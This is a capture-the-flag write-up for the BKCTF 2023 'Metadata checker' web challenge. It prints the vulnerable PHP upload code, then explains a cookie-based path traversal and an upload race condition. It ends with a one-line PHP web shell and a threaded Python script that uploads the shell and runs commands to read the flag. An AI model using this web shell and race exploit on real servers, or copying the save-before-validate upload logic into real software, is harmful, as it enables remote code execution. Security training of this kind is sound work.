BKCTF 2023 - Metadata checker | f1rst

The web app lets me upload one jpg image and then displays that image’s metadata.

Here I uploaded an image named ocean.jpeg.

Analysis

1
<?php
2
error_reporting(0);
3

4
setcookie("user", "BKSEC_guest", time() + (86400 * 30), "/"); // Cookie will be valid for 30 days
5

6
if (isset($_FILES) && !empty($_FILES)) {
7
    $uploadpath = "/var/tmp/";
8
    $error = "";
9

10
    $timestamp = time();
11

12
    $userValue = $_COOKIE['user'];
13
    $target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];
14

15
    move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);
16

17
    if ($_FILES["image"]["size"] > 1048576) {
18
        $error .= '<p class="h5 text-danger">Maximum file size is 1MB.</p>';
19
    } elseif ($_FILES["image"]["type"] !== "image/jpeg") {
20
        $error .= '<p class="h5 text-danger">Only JPG files are allowed.</p>';
21
    } else {
22
      $exif = exif_read_data($target_file, 0, true);
23

24
      if ($exif === false) {
25
          $error .= '<p class="h5 text-danger">No metadata found.</p>';
26
      } else {
27
          $metadata = '<table class="table table-striped">';
28
          foreach ($exif as $key => $section) {
29
              $metadata .=
30
                  '<thead><tr><th colspan="2" class="text-center">' .
31
                  $key .
32
                  "</th></tr></thead><tbody>";
33
              foreach ($section as $name => $value) {
34
                  $metadata .=
35
                      "<tr><td>" . $name . "</td><td>" . $value . "</td></tr>";
36
              }
37
              $metadata .= "</tbody>";
38
          }
39
          $metadata .= "</table>";
40
      }
41
    }
42
}
43
?>
44
<!DOCTYPE html>
45
<!-- Modified from https://getbootstrap.com/docs/5.3/examples/checkout -->
46
<html lang="en" data-bs-theme="auto">
47

48
<head>
49
  <meta charset="utf-8">
50
  <meta name="viewport" content="width=device-width, initial-scale=1">
51
  <title>BKSEC Metadata checker</title>
52
  <link href="assets/dist/css/bootstrap.min.css" rel="stylesheet">
53
  <link href="assets/dist/css/checkout.css" rel="stylesheet">
54
  <link rel="icon" href="assets/images/logo.png" type="image/png">
55
</head>
56

57
<body class="bg-body-tertiary">
58

59
  <div class="container">
60
    <main>
61
      <div class="py-5 text-center">
62
        <a href="/"><img class="d-block mx-auto mb-4"  src="assets/images/logo.png" alt="" width="72"></a>
63
        <h2>BKSEC Metadata checker</h2>
64
        <p class="lead">Only jpg files are supported and maximum file size is 1MB.</p>
65
      </div>
66
      <form action="/index.php" method="post" enctype="multipart/form-data">
67
        <label class="h5 form-label">Upload your image</label>
68
        <input class="form-control form-control-lg my-4" name="image" id="formFileLg" type="file" required/>
69
        <div class="col text-center">
70
            <button class="btn btn-primary btn-lg" type="submit">Upload</button>
71
        </div>
72
      </form>
73
      <?php
74
        // I want to show a loading effect within 1.5s here but don't know how to use javascript
75
        sleep(1.5);
76
        // This might be okay..... I think so
77
        // My teammates will help me fix it later, I hope they don't forget that ........
78
        echo $error;
79
        echo $metadata;
80
        unlink($target_file);
81
        ?>
82
    </main>
83

84
    <footer class="my-5 pt-5 text-body-secondary text-center text-small">
85
      <p class="mb-1">&copy; 2023 CLB An Toàn Thông Tin - BKHN</p>
86
    </footer>
87
  </div>
88
  <script src="assets/dist/js/bootstrap.bundle.min.js"></script>
89
</body>
90
</html>

The idea for this challenge came from a post about race condition by vnpt sec.

OK, let’s get back to analysing the source. This web app works like this:

Upload the file
Rename the file
Save the file
Run all the checks
Display the result
Delete the file

As you can see, there’s a really serious logic flaw here: instead of checking first and then saving, it saves, then checks, and only then deletes. And on top of that, it doesn’t delete the file right when it checks the file format — it waits 1.5s after everything has been checked before deleting. This is exactly what leads to a Race condition.

I can upload a php file and request it to execute my malicious code right before it gets deleted from the server.

BUT

The uploaded file lands in /var/tmp/, which users can’t reach, unfortunately. So I have to find a way to move this file to another dir that’s publicly exposed to the internet. Here I’ll go with /var/www/html/assets/images/

Path traversal

To pull this off, I need to change the file name. Instead of BKSEC_guest_<timestamp>_<tên>.jpeg, it has to be ../www/html/assets/images/_<timestamp>_<tên>.jpeg

This is easy to do by changing the value of the user cookie to ../www/html/assets/images/

Race

OK, so the problem of uploading the file to a public folder is solved. And the only job left is to pull off the race.

However, every time a file is uploaded, the server appends a timestamp to the file name. As in the idea from the VPNT sec post above, we can pull off the race by continuously uploading while simultaneously requesting a file with a timestamp we predict will appear in the future.

For example: I upload a file at 1691546583, and then I keep uploading and requesting the file 1691546586 (3s after the upload time).

Exploit

Putting it all together, I used this script

<?php system($_REQUEST['cmd']); ?>

import time
import requests
from urllib.parse import quote
from multiprocessing.dummy import Pool as ThreadPool

current_timestamp = int(time.time())
print("Current timestamp: ", current_timestamp)
new_timestamp = current_timestamp + 3
print("New timestamp:", new_timestamp)

proxies = {"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"}

file_name = "a.php"
cmd = ""

download_path = f"assets/images/_{new_timestamp}_{file_name}?cmd={quote(cmd)}"
download_url_with_timestamp = f"http://127.0.0.1/{download_path}"

cookie = {"user": "../www/html/assets/images/"}

def get(i):
    while True:
        with open(file_name, "rb") as file:
            response = requests.post("http://127.0.0.1/index.php", files={"image": file}, proxies=proxies, cookies=cookie)

        response = requests.get(download_url_with_timestamp, proxies=proxies)
        if "BKSEC" in response.text:
            print("FLAG FOUND!")
            print(response.text)
            break


pool = ThreadPool(10)
result = pool.map_async(get, range(20)).get(6)

The script above keeps uploading the malicious a.php file and continuously requests that file with the command I want to execute appended at the end. I set the proxy 127.0.0.1:8080 so I can watch the requests in burpsuite. If it doesn’t work, you can widen the script’s time window by increasing the difference between the time the uploads start and the file you estimate will exist in the future on line 8, and increasing how long the script runs on line 34.

Since the Dockerfile tells us the flag is at /flag.txt, we can just cat this file instead of going off to look for the flag somewhere. Running the script above gave this result:

If you set the proxy, you can see the burpsuite request like this: